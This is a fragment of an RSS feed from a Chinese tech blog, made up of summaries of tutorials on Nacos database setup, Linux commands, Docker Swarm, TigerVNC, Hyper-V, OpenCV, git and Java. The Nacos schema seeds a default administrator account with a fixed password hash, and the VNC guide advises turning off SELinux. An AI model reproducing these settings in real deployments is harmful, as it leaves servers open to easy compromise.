`group_id` varchar(128) NOT NULL COMMENT &#39;group_id&#39;, `app_name` varchar(128) DEFAULT NULL COMMENT &#39;app_name&#39;, `content` longtext NOT NULL COMMENT &#39;content&#39;, `beta_ips` varchar(1024) DEFAULT NULL COMMENT &#39;betaIps&#39;, `md5` varchar(32) DEFAULT NULL COMMENT &#39;md5&#39;, `gmt_create` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;创建时间&#39;, `gmt_modified` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;修改时间&#39;, `src_user` text COMMENT &#39;source user&#39;, `src_ip` varchar(20) DEFAULT NULL COMMENT &#39;source ip&#39;, `tenant_id` varchar(128) DEFAULT &#39;&#39; COMMENT &#39;租户字段&#39;, PRIMARY KEY (`id`), UNIQUE KEY `uk_configinfobeta_datagrouptenant` (`data_id`,`group_id`,`tenant_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;config_info_beta&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = config_info_tag */ /******************************************/ CREATE TABLE `config_info_tag` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT &#39;id&#39;, `data_id` varchar(255) NOT NULL COMMENT &#39;data_id&#39;, `group_id` varchar(128) NOT NULL COMMENT &#39;group_id&#39;, `tenant_id` varchar(128) DEFAULT &#39;&#39; COMMENT &#39;tenant_id&#39;, `tag_id` varchar(128) NOT NULL COMMENT &#39;tag_id&#39;, `app_name` varchar(128) DEFAULT NULL COMMENT &#39;app_name&#39;, `content` longtext NOT NULL COMMENT &#39;content&#39;, `md5` varchar(32) DEFAULT NULL COMMENT &#39;md5&#39;, `gmt_create` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;创建时间&#39;, `gmt_modified` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;修改时间&#39;, `src_user` text COMMENT &#39;source user&#39;, `src_ip` varchar(20) DEFAULT NULL COMMENT &#39;source ip&#39;, PRIMARY KEY (`id`), UNIQUE KEY `uk_configinfotag_datagrouptenanttag` (`data_id`,`group_id`,`tenant_id`,`tag_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;config_info_tag&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = config_tags_relation */ /******************************************/ CREATE TABLE `config_tags_relation` ( `id` bigint(20) NOT NULL COMMENT &#39;id&#39;, `tag_name` varchar(128) NOT NULL COMMENT &#39;tag_name&#39;, `tag_type` varchar(64) DEFAULT NULL COMMENT &#39;tag_type&#39;, `data_id` varchar(255) NOT NULL COMMENT &#39;data_id&#39;, `group_id` varchar(128) NOT NULL COMMENT &#39;group_id&#39;, `tenant_id` varchar(128) DEFAULT &#39;&#39; COMMENT &#39;tenant_id&#39;, `nid` bigint(20) NOT NULL AUTO_INCREMENT, PRIMARY KEY (`nid`), UNIQUE KEY `uk_configtagrelation_configidtag` (`id`,`tag_name`,`tag_type`), KEY `idx_tenant_id` (`tenant_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;config_tag_relation&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = group_capacity */ /******************************************/ CREATE TABLE `group_capacity` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT &#39;主键ID&#39;, `group_id` varchar(128) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;Group ID，空字符表示整个集群&#39;, `quota` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;配额，0表示使用默认值&#39;, `usage` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;使用量&#39;, `max_size` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;单个配置大小上限，单位为字节，0表示使用默认值&#39;, `max_aggr_count` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;聚合子配置最大个数，，0表示使用默认值&#39;, `max_aggr_size` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;单个聚合数据的子配置大小上限，单位为字节，0表示使用默认值&#39;, `max_history_count` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;最大变更历史数量&#39;, `gmt_create` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;创建时间&#39;, `gmt_modified` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;修改时间&#39;, PRIMARY KEY (`id`), UNIQUE KEY `uk_group_id` (`group_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;集群、各Group容量信息表&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = his_config_info */ /******************************************/ CREATE TABLE `his_config_info` ( `id` bigint(64) unsigned NOT NULL, `nid` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `data_id` varchar(255) NOT NULL, `group_id` varchar(128) NOT NULL, `app_name` varchar(128) DEFAULT NULL COMMENT &#39;app_name&#39;, `content` longtext NOT NULL, `md5` varchar(32) DEFAULT NULL, `gmt_create` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39;, `gmt_modified` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39;, `src_user` text, `src_ip` varchar(20) DEFAULT NULL, `op_type` char(10) DEFAULT NULL, `tenant_id` varchar(128) DEFAULT &#39;&#39; COMMENT &#39;租户字段&#39;, PRIMARY KEY (`nid`), KEY `idx_gmt_create` (`gmt_create`), KEY `idx_gmt_modified` (`gmt_modified`), KEY `idx_did` (`data_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;多租户改造&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = tenant_capacity */ /******************************************/ CREATE TABLE `tenant_capacity` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT &#39;主键ID&#39;, `tenant_id` varchar(128) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;Tenant ID&#39;, `quota` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;配额，0表示使用默认值&#39;, `usage` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;使用量&#39;, `max_size` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;单个配置大小上限，单位为字节，0表示使用默认值&#39;, `max_aggr_count` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;聚合子配置最大个数&#39;, `max_aggr_size` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;单个聚合数据的子配置大小上限，单位为字节，0表示使用默认值&#39;, `max_history_count` int(10) unsigned NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;最大变更历史数量&#39;, `gmt_create` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;创建时间&#39;, `gmt_modified` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;修改时间&#39;, PRIMARY KEY (`id`), UNIQUE KEY `uk_tenant_id` (`tenant_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;租户容量信息表&#39;; CREATE TABLE `tenant_info` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT &#39;id&#39;, `kp` varchar(128) NOT NULL COMMENT &#39;kp&#39;, `tenant_id` varchar(128) default &#39;&#39; COMMENT &#39;tenant_id&#39;, `tenant_name` varchar(128) default &#39;&#39; COMMENT &#39;tenant_name&#39;, `tenant_desc` varchar(256) DEFAULT NULL COMMENT &#39;tenant_desc&#39;, `create_source` varchar(32) DEFAULT NULL COMMENT &#39;create_source&#39;, `gmt_create` bigint(20) NOT NULL COMMENT &#39;创建时间&#39;, `gmt_modified` bigint(20) NOT NULL COMMENT &#39;修改时间&#39;, PRIMARY KEY (`id`), UNIQUE KEY `uk_tenant_info_kptenantid` (`kp`,`tenant_id`), KEY `idx_tenant_id` (`tenant_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;tenant_info&#39;; CREATE TABLE users ( username varchar(50) NOT NULL PRIMARY KEY, password varchar(500) NOT NULL, enabled boolean NOT NULL ); CREATE TABLE roles ( username varchar(50) NOT NULL, role varchar(50) NOT NULL ); INSERT INTO users (username, password, enabled) VALUES (&#39;nacos&#39;, &#39;$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu&#39;, TRUE); INSERT INTO roles (username, role) VALUES (&#39;nacos&#39;, &#39;ROLE_ADMIN&#39;); 4.</description>
    </item>
    <item>
      <title>线性规划问题</title>
      <link>https://bchobby.github.io/posts/abf7c0d5616c23dc06de7a889b509f02/</link>
      <pubDate>Thu, 29 Apr 2021 14:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abf7c0d5616c23dc06de7a889b509f02/</guid>
      <description>方法大致分为图解法、单纯形法两种，这里主要讨论单纯形法。&#xA;1.概念：基本解、基本可行解 上面的基本解若满足XB&amp;gt;=0,则称x为基本可行解。&#xA;几个重要结论：&#xA;1.可行解x是标准型线性规划(LP)的基本可行解的充要条件是可行解x 的正分量所对应的矩阵A的列向量线性无关。&#xA;2.x是标准型线性规划(LP)的一个基本可行解的充要条件是x为可行域的顶点。&#xA;3.一个标准的LP问题如果有可行解，则至少有一个基本可行解。&#xA;4.一个标准的LP问题如果有有限的最优解，则一定存在一个基本可行解是最优解。&#xA;5.若LP问题的可行域有界，则线性规划问题必有最优解。&#xA;例题1：&#xA;2.单纯形法 例题2：&#xA;若系数矩阵中不含单位矩阵，没有明显的基可行解时，常采用引入非负人工变量的方法来求初始基可行解。下面分别介绍常用的“大M法”和“两阶段法”。&#xA;大M法：M是相当大的正数(可以理解为正无穷),对人工变量起到惩罚的作用,逼迫辅助线性规划的最优解中人工变量均为0.要注意的是，人工变量一旦出基,则在迭代时不再参与计算.&#xA;例题3：&#xA;两阶段法：引入人工变量xn+1,···,xn+m,构造辅助线性规划问题&#xA;例题4：&#xA;3.对偶单纯形法 弱对偶定理：极小化线性规划问题的目标函数值不小于其对偶规划的目标函数值。&#xA;推论1：若原始线性规划问题与对偶线性规划问题之一具有无界的目标函数值，则另一个无可行解。&#xA;推论2：原问题 任何一个 可行解 的目标函数值 , 都是其对偶问题 目标函数值的下界 ; 反之 , 对偶问题 任何一个 可行解 的目标函数值 , 都是其原问题 目标函数的上界 ;&#xA;强对偶定理：若原始线性规划问题与对偶规划问题之一有最优解，则另一个也有最优解，且他们的目标函数最优值相等。&#xA;例题5：&#xA;4.灵敏度分析 待更新</description>
    </item>
    <item>
      <title>一般web放在linux那个目录下,【linux】linux 大家一般把web目录放在哪个分区下面呢？放在/data目录下面安全吗？...</title>
      <link>https://bchobby.github.io/posts/6b278d705a22e0f88b3fa2da0f9910fd/</link>
      <pubDate>Thu, 29 Apr 2021 12:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b278d705a22e0f88b3fa2da0f9910fd/</guid>
      <description>linux 大家一般把web目录放在哪个分区下面呢？&#xA;放在/data目录下面安全吗？&#xA;我之前都是用的lnmp集成环境的默认配置web目录放在了/home/wwwroot/里面&#xA;这次想换到/data 不知道是否OK呢？&#xA;回答&#xA;安全是由目录权限所决定的，而不是放在/home还是/data的问题。比如你的nginx是由www用户启动的，html目录名为htdocs，可以按如下设置:&#xA;drwxr----- 2 www www 6 02-17 15:20 htdocs&#xA;其中www用户尽量用-s /sbin/nologin禁止登录，而具体是否要给写(w)和执行(x)权限，得看你需求。&#xA;注意：赋予权限尽量是最小化原则。&#xA;BTW: 如果你/home目录下的html过大，你完全可以mv到/data目录，然后用ln -s链接到/home目录。&#xA;/data一般是用来存放数据的,比如mongodb的数据库就存放在这里。&#xA;apache的web目录是在/var/www，你可以考虑一下。&#xA;一般放在/var/www目录下面&#xA;可以添加一个Web用户.Web目录放在用户目录下。一般系统文件目录最好不要更改&#xA;支持 @WangShuo 的回答，不过在补充一下。&#xA;很多时候，我们将不同类型的文件放入到不同的目录的目的是为了做好规划和规范。&#xA;如果只是自己一个人，那随便你怎么来放置你的文件，只要自己能够找到就可以了。&#xA;但是，如果涉及到团队合作，最好有一个规范，比如/data这个目录，就应该放一些数据的文件。web项目可以放在/webroot，这样大家都知道这个目录下面放置的文件是做什么用的了。</description>
    </item>
    <item>
      <title>ZYNQ开发实例之布局约束</title>
      <link>https://bchobby.github.io/posts/2dc0d012d3599927eb0e51c93824112a/</link>
      <pubDate>Thu, 29 Apr 2021 00:03:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dc0d012d3599927eb0e51c93824112a/</guid>
      <description>分享一例位置约束实例&#xA;如下图所示，出现这个警告的意思是在一个bank中时钟管理器不够用需要到其他bank中找一个，但这不是最优的解决方案，如果要这么处理就需要在约束文件中进行约束&#xA;先分配一下IO对应的时钟管理器。A1分配mmcm1，A2分配PLL，A3分配mmcm2，如下图：&#xA;可以在属性中获取时钟管理器的坐标：&#xA;mmcm1的坐标是MMCME2_ADV_X1Y3&#xA;pll的坐标是PLLE2_ADV_X1Y2&#xA;mmcm2的坐标是MMCME2_ADV_X1Y2&#xA;可以在Schematic中找到时钟管理器的网络路径：&#xA;鼠标选中目标器件，在tcl中输入get_selected_objects命令就会打印出目标路径&#xA;约束：&#xA;消除警告&#xA;set_property CLOCK_DEDICATED_ROUTE BACKBONE [get_nets clk_9516]&#xA;位置约束&#xA;set_property LOC MMCME2_ADV_X1Y3 [get_cells u_clk/U_CLK_CM1/u_CM1/inst/mmcm_adv_inst]&#xA;位置约束&#xA;set_property LOC PLLE2_ADV_X1Y2&#xA;[get_cells u_dataProcess/u_dataProcess_1dfft_2/u_ad_interface_1_5/u_mmcm_ad_I/inst/plle2_adv_inst]&#xA;位置约束&#xA;set_property LOC MMCME2_ADV_X1Y2&#xA;[get_cells u_dataProcess/u_dataProcess_1dfft_2/u_ad_interface_1_5/u_mmcm_ad_Q/inst/mmcm_adv_inst]</description>
    </item>
    <item>
      <title>linux下unzip解压到指定目录,linux解压缩unzip命令详解</title>
      <link>https://bchobby.github.io/posts/8fa70f8b0d29c4c33998a38c112d926e/</link>
      <pubDate>Wed, 28 Apr 2021 23:13:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fa70f8b0d29c4c33998a38c112d926e/</guid>
      <description>功能描述&#xA;根据名称可以看出，unzip命令解压缩由zip生成的压缩文件，是与zip互逆的一对工具。&#xA;命令语 法&#xA;unzip [-cflptuvz][-agCjLMnoqsVX][-P &amp;lt; 密码 &amp;gt;][.zip 文件 ][ 文件 ][-d &amp;lt; 目录 &amp;gt;][-x &amp;lt; 文件 &amp;gt;] 或 unzip [-Z]&#xA;选项含义&#xA;选项&#xA;含义&#xA;-c&#xA;将解压缩的结果显示到屏幕上，并对字符做适当的转换。&#xA;-f&#xA;更新现有的文件。&#xA;-l&#xA;显示压缩文件内所包含的文件。&#xA;-p&#xA;会将解压缩的结果显示到屏幕上，但不会执行任何的转换。&#xA;-t&#xA;检查压缩文件是否正确。&#xA;-u&#xA;但是除了更新现有的文件外，也会将压缩文件中的其他文件解压缩到目录中。&#xA;-v&#xA;执行是时显示详细的信息。&#xA;-z&#xA;仅显示压缩文件的备注文字。&#xA;-a&#xA;对文本文件进行必要的字符转换。&#xA;-b&#xA;不要对文本文件进行字符转换。&#xA;-C&#xA;压缩文件中的文件名称区分大小写。&#xA;-j&#xA;不处理压缩文件中原有的目录路径。&#xA;-L&#xA;将压缩文件中的全部文件名改为小写。&#xA;-M&#xA;将输出结果送到 more 程序处理。&#xA;-n&#xA;解压缩时不要覆盖原有的文件。&#xA;-o&#xA;不必先询问用户， unzip执行后覆盖原有文件。&#xA;-P&#xA;使用zip的密码选项。&#xA;-q&#xA;执行时不显示任何信息。&#xA;-s&#xA;将文件名中的空白字符转换为底线字符。&#xA;-V&#xA;保留VMS的文件版本信息。&#xA;-X</description>
    </item>
    <item>
      <title>Docker Swarm管理</title>
      <link>https://bchobby.github.io/posts/b6711f6d89feb9431effe8860be87897/</link>
      <pubDate>Wed, 28 Apr 2021 21:14:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6711f6d89feb9431effe8860be87897/</guid>
      <description>Docker Swarm管理 本章资源请访问：&#xA;https://download.csdn.net/download/weixin_54373617/18740064&#xA;技能目标： 了解 Docker Swarm 基本特性&#xA;理解 Docker Swarm 基本架构&#xA;掌握 Docker Swarm 集群部署&#xA;掌握 Docker Swarm 节点管理&#xA;掌握 Docker Swarm 服务管理&#xA;容器编排部署工具除 Google 推出的 Kubernetes 之外，还有 Docker 发布的 Swarm 与Mesos 推出的 Marathon。本章将从基本概念、工作原理与安装部署及管理等方面介绍Docker 官方推出的 Docker Swarm。&#xA;案例一 Docker Swarm 群集部署 Docker 自诞生以来，其容器特性以及镜像特性给 Dev(b编程)Ops(运维) 爱好者带来诸多方便。然而在很长一段时间内，Docker 只能在单机上运行，其跨主机部署、运行与管理能力颇受外界诟病。跨主机能力薄弱，导致 Docker 容器与主机的形成高度耦合，降低了 Docker 容器的灵活性，难以实现容器的迁移、分组等功能。&#xA;案例概述 案例前置知识点 Docker Swarm 概述 Docker Swarm 是 Docker 社区提供的基于 Docker 的集群管理调度工具，能够将多台主机构建成一个 Docker 集群，用户通过 API 来管理多个主机上的 Docker，并结合 Overlay 网络实现容器的调度与相互访问。</description>
    </item>
    <item>
      <title>linux查询所有目录的txt文件,Linux 在指定目录下的所有文件中查找text文本的方法...</title>
      <link>https://bchobby.github.io/posts/54037bc32359fcbce07110b8d36b6e61/</link>
      <pubDate>Wed, 28 Apr 2021 21:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54037bc32359fcbce07110b8d36b6e61/</guid>
      <description>1、使用grep -rnw查找指定文本grep -rnw &#39;/path/to/somewhere/&#39; -e &#39;pattern&#39;&#xA;-r或-R 递归遍历目录及子目录&#xA;-n 是行号&#xA;-w 代表匹配整个单词。&#xA;-l 列出文件内容符合的文件名称。“显示文件名，而不是结果本身”。&#xA;--exclude，--include，--exclude-dir标志可用于高效搜索：&#xA;搜索扩展名为.c或.h的文件：grep --include=\*.{c,h} -rnw &#39;/path/to/somewhere/&#39; -e &#34;pattern&#34;&#xA;搜索以.o扩展名结尾的所有文件：grep --exclude=*.o -rnw &#39;/path/to/somewhere/&#39; -e &#34;pattern&#34;&#xA;对于目录，可以通过--exclude-dir参数排除特定目录。例如，这将排除dirs dir1/，dir2/及其全部与*.dst/匹配的目录：grep --exclude-dir={dir1,dir2,*.dst} -rnw &#39;/path/to/somewhere/&#39; -e &#34;pattern&#34;&#xA;有关更多选项，请查阅man grep。&#xA;2、使用grep -Ril查找指定文本&#xA;grep -Ril &#34;text-to-find-here&#34; /&#xA;i 代表忽略大小写(在您的情况下为可选)。&#xA;R 代表递归。&#xA;l 代表“显示文件名，而不是结果本身”。&#xA;/ 代表从计算机的根目录开始。&#xA;3、使用silversearcher查找文本&#xA;内容极速搜索，递归搜索路径中的模式。像grep或ack，但更快,安装命令及相关说明参考下面文档。ag [FILE-TYPE] [OPTIONS] PATTERN [PATH]&#xA;FILE-TYPE 如果忽略，ag会搜索它支持的所有文件类型(按后缀名) PATH可以是dir,也可以是filename, 如果忽略，就会搜索当前路径下的所有支持的文件&#xA;查看支持的文件类型ag --list-file-types&#xA;常用参数&#xA;-i 忽略大小写&#xA;-l 只列出文件名&#xA;-g 文件名匹配</description>
    </item>
    <item>
      <title>linux怎么进windows系统,Windows系统怎么远程登陆桌面Linux？</title>
      <link>https://bchobby.github.io/posts/666acbafbe4decad0d256d16e4b63a33/</link>
      <pubDate>Wed, 28 Apr 2021 18:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/666acbafbe4decad0d256d16e4b63a33/</guid>
      <description>用putty、xshell等软件远程linux的命令行模式大家应该都会了，假如需要远程linux的桌面要怎么办呢？下面本人就讲下在Windows系统平台下使用TigerVNC远程登录带桌面的Linux系统。&#xA;软件名称：VNC Password Recovery(VNC密码恢复) v2.0 官方安装版软件大小：1.62MB更新时间：2014-11-21立即下载&#xA;1、我们先在windows主机上下载TigerVNC软件包。TigerVNC是一款开源免费的VNC连接软件，我们可以通过它对带桌面的linux主机进行远程。这里，我们从SourceForge网站下载TigerVNC软件包。&#xA;2、安装TigerVN，打开下载的tigervnc-2.30.exe可执行文件。双击进行安装，点击“运行”；&#xA;3、点击“Next”；勾选“I accept the agreement&#34;复选框，点击”Next“；&#xA;4、选择TigerVNC的安装路径，我们这里选择”D:\Program Files\TigerVNC“，点击”Next“；点击”Next“；&#xA;5、保持默认的配置，点击”Next“；点击”Install“；&#xA;6、点击”Finish“至此，TigerVNC安装完毕。&#xA;7、下来我们来对linux主机进行配置,linux被远程端需要安装TigerVNC服务。&#xA;命令：&#xA;yum install -y tigervnc tigervnc-server //安装tigervnc&#xA;vncserver //设置vnc登陆密码&#xA;vim /etc/sysconfig/vncserver //对该文件最后两行的注释，并修改VNCSERVER=“2：myusername&#34;为VNCSERVERS=&#34;1:root&#34;。&#xA;service vncserver restart //重启vncserver服务&#xA;8、使用TigerVNC远程连接服务器,&#xA;在TigerVNC安装目录下(D:\Program Files\TigerVNC)，打开vncviewer.exe，然后在VNC server框中填写”服务器IP：1“，输入服务器密码信息，点击”OK“&#xA;注意事项：注意linux端服务器要把selinux防火墙关闭掉，系统防火墙开的话要把 5900添加到允许里。</description>
    </item>
    <item>
      <title>前后端交互，前端接收xhr但是无法读取数据，[object,Object]问题，跨域请求问题</title>
      <link>https://bchobby.github.io/posts/48049c5ffc42dbd54c6fe7046b1c27a9/</link>
      <pubDate>Wed, 28 Apr 2021 14:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48049c5ffc42dbd54c6fe7046b1c27a9/</guid>
      <description>看这个&#xA;https://blog.csdn.net/qq_41452937/article/details/107526448&#xA;https://blog.csdn.net/symuamua/article/details/104407177</description>
    </item>
    <item>
      <title>学习笔记 - Hyper-v安装Ubuntu20.04</title>
      <link>https://bchobby.github.io/posts/6327788947698423d054633048e39896/</link>
      <pubDate>Wed, 28 Apr 2021 14:06:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6327788947698423d054633048e39896/</guid>
      <description>Hyper-V 安装 Ubuntu20.04 前言正文1. 准备工作2. 分区方案3. 问题及解决方案 参考 前言 想要学习linux，查阅相关资料后决定采用Hyper-V + Ubuntu20.04搭建linuxu环境，顺便学习一下Markdown语法。&#xA;正文 1. 准备工作 启用Hyper-V:&#xA;参考: https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v&#xA;安装Ubuntu:&#xA;参考: https://blog.csdn.net/ZChen1996/article/details/106042635&#xA;Tips: 安装完成后需要禁用虚拟机的安全启动，否则无法启动。&#xA;2. 分区方案 可以选择自动分区，也可以选择手动分区。&#xA;个人分区方案 ( 总大小50G ) :&#xA;目录大小描述EFI100M系统启动引导存放目录swap8G交换空间/boot300M存放系统内核和类和升级文件/20G系统根目录/home剩余所有空间用户数据存放的目录 3. 问题及解决方案 无法使用增强会话： 解决方法:&#xA;虚拟机需要安装linux-vm-tools才能使用增强会话，执行以下命令: git clone https://github.com/microsoft/linux-vm-tools.git cd ./linux-vm-tools/ubuntu/18.04 sudo chmod +x install.sh sudo ./install.sh 宿主机以管理员权限打开powershell，执行以下指令: Set-VM -VMName &amp;lt;your_vm_name&amp;gt; -EnhancedSessionTransportType HvSocket (Get-VM -VMName &amp;lt;your_vm_name&amp;gt;).EnhancedSessionTransportType \\ 查看是否配置成功 修改xrdp配置文件： sudo gedit /etc/xrdp/xrdp.ini //修改以下两个参数值 port=vsock://-1:3389 use_vsock=false 重启虚拟机 Tips: 如果最后一步中找不到文件就把第一步中install.sh多执行几遍</description>
    </item>
    <item>
      <title>c&#43;&#43;使用OpenCV绘制与填充多边形</title>
      <link>https://bchobby.github.io/posts/a6b6073dfb0e79bdf72fc9d9280b2947/</link>
      <pubDate>Wed, 28 Apr 2021 13:31:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6b6073dfb0e79bdf72fc9d9280b2947/</guid>
      <description>多边形绘制&#xA;OpenCV中支持常见的点、线、圆、椭圆与矩形的绘制与填充都是通过设置thickness这个参数来实现绘制与填充，当thickness是正数的时就会绘制；当thickness为非正数时就会填充。但是对多边形来说，polylines函数把thickness设置为非正数就会直接报错，无法通过修改thickness完成填充，该函数只能实现绘制。&#xA;void cv::polylines( InputOutputArray img, InputArrayOfArrays pts, bool isClosed, const Scalar &amp;amp; color, int thickness = 1, int lineType = LINE_8, int shift = 0 ) 参数解释&#xA;img表示绘制画布，图像&#xA;pts表示多边形的点&#xA;isClosed表示是否闭合，默认闭合&#xA;color表示颜色&#xA;thickness表示线宽，必须是正数&#xA;lineType表示线渲染类型&#xA;shift表示相对位移&#xA;绘制一个多边形的代码演示如下：&#xA;1Mat canvas = Mat::zeros(Size(512, 512), CV_8UC3); 2int w = canvas.cols; 3int h = canvas.rows; 4Point p1(100, 100); 5Point p2(300, 150); 6Point p3(300, 350); 7Point p4(250, 450); 8Point p5(50, 450); 9std::vector&amp;lt;Point&amp;gt; pts; 10pts.push_back(p1); 11pts.push_back(p2); 12pts.</description>
    </item>
    <item>
      <title>【大数据开发】git命令</title>
      <link>https://bchobby.github.io/posts/45d896bada3f742fe59235bc892e54e9/</link>
      <pubDate>Wed, 28 Apr 2021 09:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45d896bada3f742fe59235bc892e54e9/</guid>
      <description>git常用操作 查看git基本配置 $ git config --global --list 新建分支并切换 $ git checkout -b dev 查看远程仓库分支 $ git branch -r 新建一个realse分支 $ git branch &#39;realse&#39; 查看分支 $ git branch 将本地文件添加到暂存区 $ git add . 移除本地暂存区的文件 $ git rm --cache &#39;README.md&#39; 提交代码到本地仓库 $ git commit -m &#39;readme.md被修改了&#39; 提交到master分支 $ git push origin master 提交到dev分支 $ git push origin dev 撤销commit git reset --soft HEAD^ git（Auto-merging错误）解决冲突 1.git pull 更新代码，发现 error: Your local changes to the following files would be overwritten by merge:pom.</description>
    </item>
    <item>
      <title>初始Python 基本格式</title>
      <link>https://bchobby.github.io/posts/430a112c3878baa32426c894b74a33c5/</link>
      <pubDate>Wed, 28 Apr 2021 00:46:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/430a112c3878baa32426c894b74a33c5/</guid>
      <description>python 4月26日总结 1, review python是动态解释性语言&#xA;基础语法&#xA;1)注释&#xA;2）标识符&#xA;3）关键字：True ,None ,False (有特殊意义注意区别大小写)&#xA;4) 语句&#xA;5） 常用数据和对应的类型&#xA;数字数据， int ,float&#xA;文本数据， str 单引号或者双引号注释&#xA;布尔数据， True, False -bool&#xA;空值， None -NoneType&#xA;type(数据）&#xA;输入和输出 print()and input() &#34;abc&#34; &#39;类容&#39; print(type(None)) age = input(&#39;年龄&#39;) age = int(age) print(type(age)) 变量&#xA;1）变量名 = 值 注意变量名的规范&#xA;2） 使用变量就是使用变量中保存的数据&#xA;3）重新给变量赋值&#xA;a, b, c, = 10, 20, 30 一一对应 2.-数字运算符 数字运算符: +(加), -(减), *(乘), /(除), %(取余), //(整除), **(幂运算)&#xA;1）. +, -, *, /, 和数学中的加减乘除功能一样</description>
    </item>
    <item>
      <title>java对list集合进行分页</title>
      <link>https://bchobby.github.io/posts/15f28a3578d70575571a3faebea44d0b/</link>
      <pubDate>Tue, 27 Apr 2021 21:34:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15f28a3578d70575571a3faebea44d0b/</guid>
      <description>1、计算页数： List&amp;lt;User&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); //add... //pageNo表示当前页[1-n]，pageSize表示每页大小 //方法一 int total = list.size(); int pageSum = (total -1) / pageSize +1; //方法二 int total = list.size(); int pageSum = total%pageSize==0?total/pageSize:total/pageSize+1; //方法三 int total = list.size(); int pageSum=(total+pageSize-1)/pageSize; 2、java8 使用stream api进行分页： List&amp;lt;User&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); //add //split page List&amp;lt;User&amp;gt; subList = list.stream().skip((pageNo-1)*pageSize).limit(pageSize). collect(Collectors.toList()); 3、普通方法分页：&#xA;//subList手动分页，page为第几页，rows为每页个数 public static List&amp;lt;T&amp;gt; subList(List&amp;lt;T&amp;gt; list, int page, int rows) throws Exception{ List&amp;lt;T&amp;gt; listSort = new ArrayList&amp;lt;&amp;gt;(); int size=list.</description>
    </item>
    <item>
      <title>pandas对象中的None转化为null NaN 的方法</title>
      <link>https://bchobby.github.io/posts/80dd41e31ac35eb76ab7553ac15ea934/</link>
      <pubDate>Tue, 27 Apr 2021 17:23:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80dd41e31ac35eb76ab7553ac15ea934/</guid>
      <description>使用 np 的 fillna(np.nan)&#xA;import numpy as np data = mdb.query_pd(sql) print(data) # 对应下图1 print(data.fillna(np.nan)) # 对应下图2 图1：&#xA;图2：</description>
    </item>
    <item>
      <title>使用UltraISO刻录大于4GB操作系统到U盘解决方法</title>
      <link>https://bchobby.github.io/posts/d975708ed500a7d529f9af14f9039db5/</link>
      <pubDate>Tue, 27 Apr 2021 17:00:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d975708ed500a7d529f9af14f9039db5/</guid>
